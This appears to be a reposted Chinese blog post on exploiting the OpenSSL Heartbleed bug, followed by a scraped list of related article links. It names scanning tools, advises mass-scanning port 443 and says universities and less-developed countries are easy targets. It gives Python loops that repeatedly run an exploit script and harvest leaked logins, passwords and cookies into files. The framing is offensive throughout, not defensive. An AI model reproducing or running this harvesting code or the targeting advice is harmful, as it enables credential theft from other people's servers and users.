OpenSSL Heartbleed "心脏滴血"漏洞简单攻击示例
转自:http://www.lijiejie.com/openssl-heartbleed-attack/
OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把。 单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有: 1. Nmap脚本ssl-heartbleed.nse: http://nmap.org/nsedoc/scripts/ssl-heartbleed.html nmap -sV --script=ssl-heartbleed <target>
1
nmap -sV --script=ssl-heartbleed <target>
2. Jared Stafford的testssl.py: https://gist.github.com/sh1n0b1/10100394 3. CSHeartbleedScanner: http://www.crowdstrike.com/community-tools/ 若想要批量寻找攻击目标,可以直接扫目标IP段的443端口。高校和互联网不发达的国家都是比较容易攻击的。 得到活跃主机IP地址,再导入上述扫描器。 针对特定的某个攻击目标,可以查看已经读到的内容,利用正则表达式不停拉抓账号密码。 也可以根据关键词,不停抓下cookie,账号等。 将testssl.py的代码修改为不输出偏移地址和非ascii字符,找到hexdump函数,修改为: def hexdump(s):
pdat = ''
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print '%s' % (pdat.replace('......', ''),)
1
2
3
4
5
6
7
8
def hexdump(s):
pdat = ''
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print '%s' % (pdat.replace('......', ''),)
这样就只输出有用的ascii字符串了。 1. 正则表达式抓账号 import os
import re
import time accounts = []
while True:
result = os.popen('openssl.py ').read()
matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
for match in matches:
if match not in accounts:
accounts.append(match)
with open('accounts.txt', 'a') as inFile:
inFile.write(str(match) + '\n')
print 'New Account:', match
time.sleep(1.0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
import re
import time accounts = []
while True:
result = os.popen('openssl.py ').read()
matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
for match in matches:
if match not in accounts:
accounts.append(match)
with open('accounts.txt', 'a') as inFile:
inFile.write(str(match) + '\n')
print 'New Account:', match
time.sleep(1.0)
脚本间隔一秒钟读一次数据,发现正则匹配的账号密码,若之前没出现过,就写入accounts.txt文件。 这样可以避免重复写入同样的账号、密码。 2. 根据关键词抓数据 如果并不确定后台地址,也不知道登录请求、Cookie的格式,直接用关键词抓账号就行了。 类似下面的代码: import os
import re
import time accounts = []
while True:
result = os.popen('openssl.py ').read()
keywords = ['system', 'password', 'passwd', 'admin']
for word in keywords:
if result.find(word) > 0:
print 'new data', time.asctime()
with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
f.write(result)
break
time.sleep(1.0) import os
import re
import time accounts = []
while True:
result = os.popen('openssl.py ').read()
keywords = ['system', 'password', 'passwd', 'admin']
for word in keywords:
if result.find(word) > 0:
print 'new data', time.asctime()
with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
f.write(result)
break
time.sleep(1.0)
这样一旦返回的数据中存在关键词passwd、password等,就会把数据写入data_1文件夹下面,以时间命名。
OpenSSL Heartbleed "心脏滴血"漏洞简单攻击示例的更多相关文章
- OpenSSL Heartbleed “心脏滴血”漏洞简单攻击示例
OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把. 单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有: 1. Nmap脚本ssl-heartblee ...
- OpenSSL “心脏滴血”漏洞
OpenSSL "心脏滴血"漏洞 漏洞描述 : OpenSSL软件存在"心脏出血"漏洞,该漏洞使攻击者能够从内存中读取多达64 KB的数据,造成信息泄露. 漏洞 ...
- Heartbleed心脏出血漏洞原理分析
Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述 OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...
- 心脏滴血漏洞复现(CVE-2014-0160)
心脏滴血漏洞简述 2014年4月7日,OpenSSL发布安全公告,在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞,该漏洞中文名称为心脏滴血,英文名称为HeartB ...
- 心脏滴血漏洞复现(CVE-2014-0160)
漏洞范围: OpenSSL 1.0.1版本 漏洞成因: Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进 行边界检查.攻击者可以追踪OpenSSL所分配的 ...
- [漏洞复现] [Vulhub靶机] OpenSSL Heartbleed Vulnerability (CVE-2014-0160)
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 传输层安全协议SSL 安全套接字协议SSL(Secure Sockets Layer),及其继任者传输层安 ...
- 心脏滴血(CVE-2014-0160)检测与防御
用Nmap检测 nmap -sV --script=ssl-heartbleed [your ip] -p 443 有心脏滴血漏洞的报告: ➜ ~ nmap -sV --script=ssl-hear ...
- OpenSSL心脏出血漏洞全回顾
近日网络安全界谈论的影响安全最大的问题就是Heartbleed漏洞,该漏洞是4月7号国外黑客曝光的.据Vox网站介绍,来自Codenomicon和谷歌安全部门的研究人员,发现OpenSSL的源代码中存 ...
- 这次OpenSSL HeartBleed漏洞是怎么一回事呢?
“心脏出血”(Heartbleed)被称为互联网史上最严重的安全漏洞之一,波及了大量常用网站.服务,包括很多人每天都在用的 Gmail 等等,可能导致用户的密码.信用卡轻易泄露.但是我们可能对它还不是 ...
随机推荐
- Hibernate中的延迟加载及fetch
Hibernate中的延迟加载 1.类级别的查询策略: lazy : true(默认值) false(立即加载) 2.多对一关联的查询策略: lazy: proxy(默认值) no-proxy ...
- [ CodeVS冲杯之路 ] P3115
不充钱,你怎么AC? 题目:http://codevs.cn/problem/3115/ 基础的高精度减法,先判断一下被减数是否小于减数,若是则交换位置,打上 “-” 负号 当然也可以用压位做 #in ...
- 让JavaScript像C#一样支持Region
问题 Web Essentials 是非常给力的js插件,具体的介绍,大家请看这里,最锋利的Visual Studio Web开发工具扩展:Web Essentials详解 . 不过在使用的过程中,让 ...
- 小Z爱序列(NOIP信(sang)心(bin)赛)From FallDream(粗制单调队列&单调栈的算法解析)
原题: 小Z最擅长解决序列问题啦,什么最长公共上升然后下降然后上升的子序列,小Z都是轻松解决的呢. 但是小Z不擅长出序列问题啊,所以它给了你一道签到题. 给定一个n个数的序列ai,你要求出满足下述条件 ...
- centos 下文件夹共享
[root@localhost share]# yum install samba -y[root@localhost share]# cp /etc/samba/smb.conf /etc/samb ...
- windows技术
鼠标右键菜单中没有新建文本文件怎么办? http://jingyan.baidu.com/article/046a7b3e1d737bf9c27fa9f7.html
- Windows下VS2013创建与使用动态链接库(.dll)
一.创建动态链接库文件 ** 1.打开VS2013,选择文件,新建工程 2.选择新建W32控制台应用程序,这里将工程名改为makeDLL 3.在应用程序类型中选择DLL,点击完成 4.完成以上步 ...
- 内核中的内存申请:kmalloc、vmalloc、kzalloc、kcalloc、get_free_pages【转】
转自:http://www.cnblogs.com/yfz0/p/5829443.html 在内核模块中申请分配内存需要使用内核中的专用API:kmalloc.vmalloc.kzalloc.kcal ...
- 使用 ElasticSearch Aggregations 进行统计分析
https://blog.csdn.net/zxjiayou1314/article/details/53837719/
- Web开发之编码与解码、签名、加密与解密
在Web开发中,编码与解码.签名.加密与解密是非常常见的问题.本文不会介绍具体实例,而是介绍这些的原理.用途与区别.一.编码与解码 在Web开发中,需要通过URL的query参数来传递数 ...